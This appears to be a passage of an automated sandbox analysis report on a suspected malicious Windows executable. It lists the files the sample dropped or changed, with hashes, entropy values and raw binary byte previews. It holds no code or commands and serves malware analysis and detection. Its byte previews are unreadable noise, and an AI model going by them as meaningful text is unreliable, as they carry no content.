Preview:	..8.....z.;.j4u.q.Q...WH...^...nW.I.Md.yd.......1.....$....;..0O.lDPd. _..oC.-.}A...D..(...T...W..\|..B:.)d....e....X....K.....$..R.1.2...M..1j{T..g..j^..K.](L5...;]..6...G..VD..r4\|.y....=.Vmn...1.^..5.=X..#..\|.A.Yj......pA<.q.. .;..}Z.,u...Rw..p...M..H,.GK..>g.9:......:dl2..e.6.]..<...NU.!...?..P.P..n......n.S.....Y"c..Z^*N..Aj......Sx...h....O.W..c......~..6c.....0.. ./s..q... .e...e..q._B... .h...?>X'.Y...:0. X........!...t.P.e..(/KQbI.{V.....V.;6.g..dJ......@e...w.V:.\..~....4....g...CM.>.Y..3.F.3..s!.q....U[.....F.B}.......v.Ln....Q.2.r...3r5....[( i..y.i[44....dpV.."..u.j..G..IG.K+G}..4.q.=p.k....+n.J....l.?0.$..:S.3@.......}..4..B....k.?.Z.......2....Q.]3....c....`.E.DQgX.........Vhf...35..d@.D.G...S..4.i.p....9<+.<...-.g..c"...n.m..$,......9..P...g9..h...<d.y=(..h..e.S~.E9XC...T.<.{.......N.3D......so..<.....ka.^I....Qm........[V.F...;.,..J.}>`..F......c.....x.0...)y.a..,.FI.....}s..3....'.. .@.c.~....Y...8....I.......)7

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00001.jrs

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2077573779243145
Encrypted:	false
SSDEEP:	3072:QCq1a56kxHMFdcPbua1kkpU9FcS3cOEggyxvG0YhknhQhbq7F3X:Qx05jRSdVRerOZxvntnWRq71X
MD5:	CA353A88E23D71A9389255C22825C164
SHA1:	EDD9E8ABF07FEF62F5C2C0F18E38F7AA4DBC3053
SHA-256:	CB172CADFD7E42C28297E1D20D6E317CE1184ECDE61CF1D5E0A8B7D0A40D49A5
SHA-512:	C8F59C1C415848EA080560EC73BCC96D63500139455583BAAF42AB97C5F8EF2FDF7921816734EE8792C988039316DE285DB4F14C79395A5F38F4DF665C840796
Malicious:	false
Preview:	.....w.0....1...W ...t.e.u...i.:.?...@}......I.g.).X.V..-!5...-..[...V.x..Z.H..C.ce...[{&..18\.k.5.pW..(.fDEr.rf6r.s..m.....u.....~(>..sP..........S...>.a.W...[..D...0[..Hi..%..i.a...Nq......`X..\..H]e...+.>...,.y...C..N!.:ub.M{.4.[....p5.5u..?_.c....>In.7.....Oe..Vw...>..C...<...=q.....8.."..y....%..Q........vX...o..t.G.;T.......cY.!....Z....j0B....$..y....^.j.au...-.,..e.(..0..d.v.w.&>.....!E.&..n.Dp.$..gQ..&$yA:.j:f.9...k.p.c..xQ5.<.......0........1W.g......y(..b..C..u.#z.9.$..d....b...3.sN\|...n.)..P.P..]o....XK.rO..B{.sgO..5a.9.Y...;. . .....\|.<.x.....LT.(\|..8..h...#.t.l...Q8...n..+T&..g.n..i.s.5/.S?.i.`....@......,.k.e_6.J..."1.%.'.. 5U@..O.37...z.W7w...@.G..OU/.&....u/........7.7.B.......o...B.o..........v..mT..#..5.8..?.. N/..Z.....L..c..........6.75.\.U...q.j,n.....{h..Q...^.....-.H....\$.....lFAc.B..t4..6..n....-.'...2.>N6.EP..c.N`.0Z...(.[Wt.~Fz..`.W..d.V_$.e...Z....N..W/.G.n.C.`.wJ4@...<..<.\.8.A.)..(..Qe.Gm.\|..6..6.l....

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00002.jrs

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.20786119297874
Encrypted:	false
SSDEEP:	3072:pZgx6IkP9+f3gwonsIvrOxf6Te2MfrNsAGOHtPATdSitqatOYUoHYRDd:8A9+fR7xyTHMZsYmXwFYYRp
MD5:	DE04EAEC3F6492D6DDD17E5D06F55B10
SHA1:	3F0F17D36A09B2AFCB9E1859B4CF8999497ECD6D
SHA-256:	9A2064F0D8097014D2E6B5898E8F65F36C2800ABBA4E33818B7AC0AD9717702B
SHA-512:	4C671448C1B09B9843F3F7C8F81FCF1C0DCE722D3DB52841C50918DEEBC19E0FEBB5A9CC29C0BB0F794F66F37BF41219E87F9AD15324968931C0A9196704880E
Malicious:	false
Preview:	......i ...c@...u..e..w,..Sc..%.+.ZhZ..I./.......\+..9..y4'p.V.>....IgTY);a.~.uOA+.l;y.N......C.....-.lI...U.^.......F..6...8A.......,u.>...B...>...:...k.DQ..FB1...B...........6.....I M7...:....WX.ybS%O....n...q9(Z........E.q..r>..,....^....$..z.N\*.=...^..J..8...L+zB.2h}.K.+x.6.u.....U-.u..A..Ou.T..E.>..X...._... ".......s.p ^.J]II......U)...G:.hX.S..&C..A.L.....H.<W.s....&.%.b...]..2......hO!..w.....pF...F.i,9...ifr.m-~0.$Zb.0Y...t.`Lu7..RFg.%..Q..H.[.I....l.gE.....?.H.v+...X`f.w@~...U....UY)xY....n.F.j.....e....:<..C...4.....]......iYD.0&-..J.R&gl..L...+b=B...x...;....$.\|~,...=...j.07.o......<_...?....&6..R...p.1J..1.'H..{`..=.i......."~.l,.....B4..I`.....7.r.....)..T.N....y.'..C..#.`..x.DeR........v......_.Lo.....R.o......#F7....P..v.......U.[u1....d-s.6,P...M..x...^.Gz......(.x.+ ....HX. .3.....Zc.)f...2..z"N'...;.$J..:..1...#-..M,......`......d./..Rm......R....q.Ii........o.+ .j.{.....V.2...g..V..X.J....y.....C.....0n

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01tmp.log

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.196456334303729
Encrypted:	false
SSDEEP:	6144:rpUWzdO9o33qfoeKFwhAxe7w6qX6LKbMxc0+qFJaohDNdrjBmTu47OYPRUVRnqdT:ZBO9oKfWwhIe8XX6ebetYRw7bFu
MD5:	3CFA34BAD2899F707C18D3AD270A303C
SHA1:	71185454D78B72C1200FA3B1492F9A6FF3FE90C0
SHA-256:	D3328E59E856B8095EBB4DC421DC64ED1571E08047C27D56B399F9BDAB1C641E
SHA-512:	674EDDFF70A59F381F834BBD9EA7B1D35BFC28BB10489E0FA633B3294E980ADF633F68C2860C99691B169F967861B99F063800483C5004D4244D594C19B3A561
Malicious:	false
Preview:	.!....A.".......V....U.J.`A.......M...4..D.k...Rx...g..e.R.)...\.!wo,^2......F..J.e.zgqc.Y.L.+.<l?..]:;5...... .....Z..h...}I..%...]....k.K..5..H..AA.F..'.....<.O.G.1.A.....!d.M.i.R..E...W.P..9.8.c...5.Y..Z.uL.:...._.w..N.....Z..z.Zl2.z.......~.Q;}.~..e....o...k.B.%.e..+i.-1...X.b"Q...).u......mD_....U..R0\.2....:.h8.....x.9.O.^.L.....D.Bh.1`..aX.kv.F;..=.D.m....G...4...tO......A.U.^...m/Z....6O.&..C..,s=..JA.i.c...`..9.X..yMX..4.^.h.0.q..:...:.B......^p:...K67$c...\|I..m....sn....AR..=l..O..i.{=Eif&....T6.4..P7...`.%.....CIK......U....4.f....E.&...k.@......@x4b<]io.....l.@&<..@...6...d.....WB.......R.!...s...b>..$.w9.k...<3s...}....+s%.&\:m......\|..^}.........<.....h.@..!..^..5.. .b...J........u....YDXqq...ww.=...4.i....oe!.....^....K.8.=..M]9.#\|.C..a...^..8...Z`....4....N.o..j..-{r..66(.4L..Y.u-...M..Eg.4....rrz......?O...A....m.R.t....=..ZA.>`.....]..J..WM.7w.Z..+a.>..DS...?\..pI......)...i.uH ......^W.]i.GT]U.....w./....

C:\Users\user\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980866614089777
Encrypted:	false
SSDEEP:	192:fxphuF9pyHdJjsvKGJMo3idsv4PwfAwsMI+QNRDHZivA3H:5yFicvnLyKvtAwq/nDHMvGH
MD5:	5D31C369163898CF199020488B397C87
SHA1:	4CDA9A39B576ED35FC8A19CF0A9EC1460D292D3D
SHA-256:	DE1CFE5B1F946C38CDB88592C60D91BF8BBB7765302BE3A3A90A758A2B84DB12
SHA-512:	D6C2E141F0AEA1169A77B53EDBE5B8655ACA0DBA9144B0C20A9EBB334B7154B951DB22D2BB3E52D50B0BDBC84B8F700805930343E022AE9A036B70323A896862
Malicious:	false
Preview:	regf.t?.......J....:...K.....2B.......Dj1...{6.-(}..ms...U.sw..r}....k.^....[Y.o..?...$n..k.)......eq...K..Z.Y......Y].r_....4....U0..,...U#(..s.]..f....X....%..F.G...At.1DN..z.K.m/?....l_e..~...0.+X.I.p.0_..S.+.......jy..w.JEzF.3.m..P.f....i.HEU;...i..b9....Y.z...}I#\|~.j2.V...@o.T.K.p.......!.q-..g...p....J..f....k...].>.^.O..1V.~......i..272..0R..X....M~$.>w.6.....'..\B.q..P\.j%.H.2.$P.@...^.....+@.8......z4...n'....f.y:..zX..q.BZ(ji.9.>)....4..r.......$E....?.g.i...y......%:Z?"t.!>.S...1f............0Z-9....hcRb.....*..H.c#Ix7...E.m...#]$.......Zt....U..[<.IU.o..........G.6.9dN.....k....fCB.._RV.RJ.Q.`..p....(%._-XjCv.er..S......\..l..P..4...D.;nd......f......2.&....0.[..M97`.[.V+e..x_.TY^...O.H...!\..b.U.&c(n.AdH.v.m..ZW..:......<.oE.l!.\|..m/.....%<..T.).<..s^F......Q.N...7..Ite.LvTOm<.[r}..<.3j.'.....(D--.?#.P..~LA......Y....T.y ..h./.>.2PX......00?..H@.5..n.).fW....J8.EX.M._n)J...YS<......r....z...).?....v..8KL.6!.....[P.+z. x['PVa....

C:\Users\user\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.973261056484217
Encrypted:	false
SSDEEP:	192:itPwmNsyDkaTvs3lh04wvX+yj527yUz3gSYaMB1XeOf9hU90l5ux:ilwUsyYkU1h0WyNVUXYhNB9hU90/8
MD5:	45BD6C2E8AB2344B590F7908470D27E7
SHA1:	F668AD06740D67604E946DAEAF82D8605DB954E0
SHA-256:	265C09C9A1E905D7EBB15ECF1401E7F817FEDDD363560E4DEE3872A36D037EEB
SHA-512:	F917E30DDA7A71899736754F356506152B9B606B192272FC99BFDBFED19CAD79DD20BEE4B71F564C96281BF0AE074CF4FE6809AB60C225CB4B032227E58F76A6
Malicious:	false
Preview:	regf.....n^..Q..$t......-....!.....p[...q...a.6...-.....J..kW\|x..a..02...G5x..F.!...........<....".....%..[...C.s....}cC.....p....jb....!l.B.)<9q.t.,@.T...P?1...l.h..'.C..T...nlx.X,n.y...#_..Q..'..._...2..Eo@?.x...gWF.<U@.Q.O..9j(.........J.5v.&(.G.;O.\F.m.^u{.....jA@A.jIl....:...q.H.E+T7.O..X.5J....`:.W..F..;.A....y.......nCBJ=r 2...d".Rr..0.....k0z.".l..Rl'.K....d .`a....r.....f......a.Q......(....."...+.X...5../..9......\|@..Q.C..}f`u......r6"C..{A..8..D.n..Wn.....K.&.>.E..A....J........B.E.3..mt..V.X{...J/.]>PV.0.1....=..<hzg..W...i...Yd.j........hB..}9.Iu{.o..C.'%O.z/...%8 .".4..8......D..M..1Z....%..u....@..9..B...H.....".a0.....k......a.....i...V.{.X..2..E..o8....4...!.U....F...B/.<......Q...6.C)+.+...ef...).9..*;...\K^....)...Q....._.4>hH.-k....&.q..w..`L..0g.....&..+.'..G....p....u...-.. -.]...lQ......[..?...zt..7Vt..M.XQ...6l.,.,.[..z..0....GMx...J..}<.~\..!T.l.s.7.vq......v...ym..0=r. .8...1..3..l...m..@0..^H2..;...Q.Y.[.f..:..(

C:\Users\user\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97784728927225
Encrypted:	false
SSDEEP:	192:HH2VQ9H6nve5dRiF5RRt9YItNblI1kGazLqav7aVVxIX:n2Q1UGJi9QSX2aTqxa
MD5:	6B28E0498651C1F1AE66429D7EAECBE7
SHA1:	8455F34486ACE64C7C36888A19022E0E31CEF043
SHA-256:	7633DFB51CBF410F21852E30C1DA273697027D0B322BFCA5D9DBFE9BF5853FBA
SHA-512:	4B07C1B0F2FD97E9A1C163E6DF0AB5F20033B384F9FD6DF678358BF0533C6192569CC93C30E91C487EB6BAFE6F06209ABE69D22919C49657E52510FD6A2B9571
Malicious:	false
Preview:	regf.I...]z.7....'\............A......h..V..P.......{.:.x.3-M...K..C.._T.z..B.....)..G.$.(Jl.}.?v.:R.....Y=..kC+>........L.fB>..'..q....b.p....V....n ......v%...f.?s...n.+.r_..b.S?"..^Y..dMP3]~.]..-...a........y.Wx.....{.Z...D......5..p.~.?P.<...nvT<...t".d..!...=.Z.........h.n.-.R.....4.!.l\|t.n.....jQ\|%.AIK.W....Q?q..~.`/.D...W..%O.U\..C.i+..\|JI7l.....x...;..%...zt./.3.i..\|..7..l........0......Q....rl?. .IEL.c.P....~.E.(..mf.c.k."...<....:4.....P!...)..V.<F%..).cM...c....C..s....<..-...M.).^.......\............,...!+.P.5....{IX.....\...h..fQq..::k.Q.v.(.?eT.G..JP.YZ..q.....w..~8KH.GF.O........CV.n...5...60..\..@.h.Q.o...}.O..G..c.....;.i.W.$.H.w9.&..yPj.Q?a~.......S......w.bY/.Nt.H..?..1?.A.`....-..qdG....@MA>..J..+p..g..i.6?...m.S...I.....u..C%..t..F..'6.x&..4......v..N.>.......WL\|...=\|K..]FSA.\.._.Z.2.[y....Y.@_..e.K..I;N..@....s.^.3...x.rd..?5.A.P;..E..>...L..k..p..U<.......:H.......4.#....{.Y..4R...3..q...hJ.f.r6...\.{.I-.d4.L

C:\Users\user\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978703201076318
Encrypted:	false
SSDEEP:	192:RFS/XENj+ZD8dAA6xvVWo/NC3XbMCnxqKmEy7Vvd4Z:QXIKspyvV18HbMmxq+yRvQ
MD5:	9A9496CD49A681948DE90DBE10B6718B
SHA1:	5F5FD582B271656CF64DF256C400A0AB783311E8
SHA-256:	A89FF94F00CE87F10CE4208FEFDA8420B79294D016FD67320C4CBC07EDF65F73
SHA-512:	84899C4D2A34AF9FCA4C9646A9487D69F8A7B9E6D1F057498117C43655ECD19754C1F732A441F6679D3E5D08DA7C976F06FF8F8CDCFC960A805E1768351B35BF
Malicious:	false
Preview:	regf..u...Q...r..3....pe.K..hrnc........=.!.N'6y...&.q.u8..p..j..(M......O......0.....{.s,....o...l.N....\|.G...G..hj.....t.35.wh.....^.=.<.....d.R...,IQ.,....30.9$...3....d.D....X.UA....}..#Et..cI..j..."..z...)...;....S\k..\|..i.;..LL..a...&j.^.dU.........u..E\|.zl..Ja..n.rk..u.`..P.?...!.{1....c....d..-.8..x.u(......xG..:.c...WO..P...;../....l..M...[.....AY..M....\...3...b.U........q.t..m._zu.rX.c...~`...z.I8...`...1.P...* l..o.I......XDB.....h..w.7..W..i8..~I.UR.M....r'...{!....R...Se..N......'.:..d.M....,8..4s...G...bWc.3..n,. .`.h.R.A.H.J.u......;.kW..pG0..z..l.P./~...`..V.&.(...H...9.6.....<.t....c0h...Q.L.m.t..)-.A.Z.1!....#0.`D....m..pOq.7N.z.......e.j.,..R.S...>..z.......Q.35.d. .f0...!..A....,\.<...?._.....0$...3u...5..o.O`b.k....BIC...._f.:AB..f...6GZ..l.~..N.....'.,.(......,p.....9L.}....l.GT......G .....&....d.=1.pY.b.F../....M;^..e6o[..qTE..!...V......cI...2.....A.z..2y..e.;!+=....k.&.H.n"7..hC......E..=&)..#Y..[_+...

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979250966963541
Encrypted:	false
SSDEEP:	192:w8V32BPJUb3IUFwScGdo2AoO4tgRzuV9Xk:w43Mx2F7C2b1OzkU
MD5:	892BDE346080A85A41EF3E0FDC6F0E18
SHA1:	D4FD062534EB2BC86658449410048805B72FB399
SHA-256:	011D08B9D198BCF9328CE72D64DDE286FDEA0955DDCB6561271A8E857BD09462
SHA-512:	B7CD631CC82ABA1DB7BEC1EC93AD16870E9B20800953D60588A0A647E8E6D6275A61BE1422217E6603DF185830F139E6DF88B40D54167D88D4BDD2C06D7C4B01
Malicious:	false
Preview:	regf...tN.c.O)...W...Kl(.Y.3]X.mJ..U`..?..9.j"W....Y.=Ha...V...a..T7\.o.dgk&....W;8...4<i=.B.H..c.\|L...~\..=.$...5Y.(@?...W)...z`.R...tw.i4.k....B`.r...D%..v..Q.E}.Gp?RPD]v1....".0...UP.&a..usG.tn....3.(.*..`......w..$.a....}..m..=bm.]..x_hU.-.Z...P.y.C..u.lV....3..].2..Kwi.KzkP..d.).r1..j5.5!<...Z.p.]....g@."..i.\. ..F42Z.....Z...).A..K.}..\f.zh.<G9.4Z......./..?...o.2j.s.(.......0.W....?......o-..5 .!..x..\..t....O.o.......D....M..ZK.0.]......n".-.B.\..'P.....<^oK.GJ.h.....x..C..A.MM....Q...v...w...w`...Z...j..8.1....TB..]..P[....!v.,..C....(......A...../T.....i..1..{`,..9.. .kY.2..gIP........&.A.[..F..E.P...}5f..u.P..f..z.U?.....{...Zs._...=.)..^T...8.G_\|...N8hZ6..\.r_..3".t../!^..h.%BEe.....mi.s?...2.!2;I.......kB/@.Tr.........\|...........P:\|K\|.......$2...xn).G.\|....6.<..!..ON..Yb0......7f.>...M..$cz..c.........c/y..1.h.W.....c2.....y.....z..4.%B.;L.......a..8...........W......Go..!......Hd:\|........9L..S..(.'d.2.i...MA.O..VH

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977150467420426
Encrypted:	false
SSDEEP:	192:+zsqvucFG2N7w8OVIHlIlkweKqCNHSic/MOEHfN9Y+YaPQnWpj0E1fp:+zsqvBLC8OVIHkkwexOH1c/MO29P/PQa
MD5:	9E6A4320004CEE52ACF73312A9DCA6C4
SHA1:	4EB2A9EC5ED0B6D44BBE01B6218B50CCBDEEEEFB
SHA-256:	F8B41C8801CD7984384BC49BF8B80BEB3A362A200BCB4BD031AA81D0F2534F1E
SHA-512:	E4C1277A9213950C4B7EF206007C06879FC22527A2694E819CD9599160A2CC76FAC289CBB6B70A05091DF730EEB45ECDBB55CC0FAB19FE8E71A22552A922D403
Malicious:	false
Preview:	regf.4.zQ.."(mz...........`..R.8....r.z..A.)..p^z.E{.wF%`%-x...li^\X....2AYm;o.Bg2....U...Z...P..=G.l"gF9.62PZ.........?..i..e.....r\|...........q.....Hw.Y...:s..\|5(.<P)!BQ]>or?.@.a.g.U..HS)..t..,.3'.M\...iB....C...!AU...hSF.....vv....?.'^...!^,H...S2@P..C...Z..U....[.)..J...<...1.....u>..Y....F....W.QG..\|..;.n.B....{...."Rv..5.4>g.f2a...>..p.?.!bEt.W..a~..<v...fTZ...9.$P..S&b[...4y...G.\| ~..C.)....E....(sV...V.T...H..W.k..&.B.n...+..(..L'....>.~.O..D.SV...&.Pza,fLT.......mq.D...z.n......\.b.h...Q...+'.$7.H..J..h.....`..<!W...6G.>........~...=.9.. ..x_D...W..i.. .^G.\|g..>...h.LN.{[..>......Q..^....#..A.K.Q...=.!..>....1.......{s..]....._J.G(Of.?6uSZ.....{(....L..}......o.D.r.p....P=.%......Q.......+.9.S..Zx.q.....8......./.P.o..u0*}M..x.js...S.J.@...f\...7.N{.\.E.0.tz.3...P0r..p.%=..c..e=.-.V..z."V....9.n...6<#p.5U..^.=..7u...[1....\eT....O`.h{..s././z~.....y.&h....v7..%:..(..[...O....}..n..<.\|.8OS.t.b..I... .U&..~......$.c..d+.@.c?Gj.V..i.

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978389907311804
Encrypted:	false
SSDEEP:	96:a/jeUEuE3Ear42Q6ADtqN27wd+gUhe6XyoXel8UKbk7pjn6JOmJuWuH/q+Dw4B+E:a/8EwQ/o00d+Re6XySel87k74ey4cE
MD5:	9DC782DCC41F36C61221B5BF6C172FE2
SHA1:	E9270A5F6EB65EA8381BCA6A207770227E0DF0C9
SHA-256:	365677BE844BD6611751F348D663A7E3D64D92349C3631BE95BCAB634F9A9BD6
SHA-512:	888AE4ABA02F95A2D5308E1E7ABC9538FD11EDFE5C3E2CEFDA0B221D4DA80314040C2A2F65D920B6DB9195F144E6258BED43BBF804686A2264FDC497AC3DF0F9
Malicious:	false
Preview:	regf....x..:.....@h..Zt.kCou...=I.........4..i.g.#qZ........}...81..Yas.?.lxR.T...7.Lb[?..5..;..c....[.."K.@,...D.^..BO..A..k...A......(...Q7......;...Z....M..,./.$.../-cc'...1t.w.\|.....Q.Y(.R.4.N..R.@>....\X.~..R.....uy.....X.....1<.........N..?.]#y.~.W....e....T..(.S.O...k....j.h..wfp.....]i.FI..)Y..Z..3......*{...S1.f..i.$`2.i...zq.,..........>.......6....l.`.6...bu.......Hx...........%.=...\|.mI6.e.e..\..Mm.Th.....J.m.Qe.?~....\|.3.Q.+'.Q.2...q....+...L2hL.W..P...w........iWCtX...~..@.F......L.<y..Iss...4gTq..[C[...q....tu>....[$...V..6.%..(@5.x.x.'....0...51ql..K.w......z#.r,}.6k.K...UH..&..Z..Q.se}.iWhy....i#..Z..0..?..3.$.."...Y..........,..7...)g.T.s.....i..D.... ........:..;'..7..\...`N#......#...1R.g<.aw...(.:.....CU..2....-r......".L.P...........5)P.....+..3."Ew;.yf..R.....uYz..h..#.S:Jq.x....h.I..."..,.R.....t.........O..a.j....U......g...m.8.w.'6y^^.....^k..V..SjD....9B.S...[S........Tg.....I#.Fn...8..+..5...VO.u..

C:\Users\user\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977649235392236
Encrypted:	false
SSDEEP:	192:lNiYW+yO6XD5BrvH0AN0PE2woWS6l8niXWGtPNgdu/r:eYe31FMAN0PE2ndk8nYWyce
MD5:	96BB4B1E55F7BA022C1EE34E311D92EA
SHA1:	4525D9283B4F0BB3B3F584E9FBECDF6FED3F2A03
SHA-256:	EDC7A7C5331B8D32A124ABBF5038A5161EF460A669D165F982F5BB0E53277CE4
SHA-512:	5F9ECB37F480F3F7B1AE3585E1B3A14E1093456FAC46F4B0FA6E3BD714DDC2536E4D5B054AC25ED8353C5A86E6CE7E49E4C09B8FA120B7799ADCAA8C1B1A64A1
Malicious:	false
Preview:	regf.!...w..Q.!(.....A).3...7.jW.....}!}o...v..2.P}..\|.....V.Z......>....R^}..].iYwc. .C..F..0o}kr3...,....#U..2.x..-Sa.Y....{.3.n#.P8.n........>P...{4D.p.BXi#..Sx@..="8#..u......!...5.x...n.Pp..}.$dI..@....h...y.>...S.B..M..4C.)....../l.....'m}.^...O...3.l....o=+R.9g&...7i...{...&.\......U FR...>...]q>..q..J..Im..`...ezC.....)..eq..l..?."-wl.........!ji..&...m.e ..&..).[....W.o.hJ....$j56"...h.D.A..4.Xv5j......U..-...>...........6............l..)>..3..!Q...HT.T..~..~..Zw.tk].ea].;.. "...#....MU.......j._.-w...]/.QA.s.k....C.T.o>?...bB...M~...B....&..5.....s.Up.AK...M.........u#.....;H.....=>.5Fk..G......%...67.G..=..6...=.q.c.I.F.7P~.......A.Y.4./B...Um.>W..F#......\|BG%.j......J....5.a....[.i.[d;$v..AHv9..)..u/7s......d..Qv.6.....a..`?3H.U}.......7=h^p.W.zW...N<!......Ogb...z.<..t.>....e{.......R...\.....e....U.......M.90(........#...*N.Y.i>..k..g...7".v.Ch.\|a.xDb...}.zh0.....g.Y66...omKF...Bqb[~..1..%o.........j6.eGf..

C:\Users\user\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976114795602578
Encrypted:	false
SSDEEP:	96:mcjJPu/TCJhJSsZ2JhLti4Db2/YIKFcsVJ5Isdw3Y4hMyyoEq+vuiKh979DA/DQc:x8TCfJS02nEE2OIsiolokC979E/8G4fw
MD5:	57E6504DBC347BA067CF1D59942FB385
SHA1:	7EE99ADE8D64F9F097FC57B2F46AB8796422A79D
SHA-256:	DB0C7550EADA5E4214143DA0988838834E68A97C21F4B572735071D932235534
SHA-512:	4C83D351F3D34BE050EAE36C97AE48278FD2F42F991523ECDA619A6025721161F92A12AE37CD148FC32B6B259F1E94438ADCC345493E2FD493E22E157E94F55E
Malicious:	false
Preview:	regf...#...A;J.0..%{......I..2...~..H..-.....d...@j..l...=......#O..m.\|8..}..Z..?.Z..]'.w.......$.&m..<...T...H-?........k..)......N......G.....,%Ni...g0..fh..?....t..X.p....b..[@E.S.4..v.H^......^(z..".......(H..U.+..3go.Y..fMn'......t.cF<....~.i...RyL..>6&%E.,/...Q....P.l^..\|.=.d{.7P.U\`..n.I..H......Z.q8.9..kq5...h5...a{..m.P2=z.$7A......U.......I:.=..7......>..C....u_.Uj..f...P.$Bz..$.Wb.....C.....cy....].u................?.N....7..r........=..,.y.......q...W.K.[-.})+.{8..e..\|\.ym.S..hTH./.._O..47S.w.....J.5K......u..M~9]..2.C.G+k..../...".a.....Pd4=....ym.1...9......-.JpY.v.~....Z.}.X.R.Y......N..na..!...c..4...2...0.&.<...y.\|./xW.0.}b.Bq>..+H..q{6......)...x.....o]N..UU2#.~...P^#..x...J....;..=\|.2..X.=c?..3....mm..B.y...9=..G...o~'pX..x............&K..H(...XPN..u..h.C..^........S.o ....uI......+NEG...m..Y..:Ru}.^.....a.[..CQ..CX'..Q...+a.A11.........b...c3....t.0.+D...I..6.uv.-..zT^..,.>.....L.+8...).6......?.[g2.n.s..w".3.`.

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980984173704501
Encrypted:	false
SSDEEP:	192:iHWsBW9evtHVaKnbtQnrimxOB17c2C1OWgnBN01MUv:iT8MvtMKnqnrnEXc2C138NSF
MD5:	86789D68228B257D8F6DB458C3BF04B2
SHA1:	45772146599CB442C462C06649C5AD8EB65B9A6E
SHA-256:	6EDBBE36AE1748C717C4892A56B61D71964454B4E1B5A800D83D735CF96209DD
SHA-512:	2D55138A371C33A3A606FDDB3FA14146F43C975099AE2FC13125916BFDF3BBF1FDBF36DDDC82F32D75EE2B923D1E88CBEC71DF64B2F5710780B73F858B37DB7B
Malicious:	false
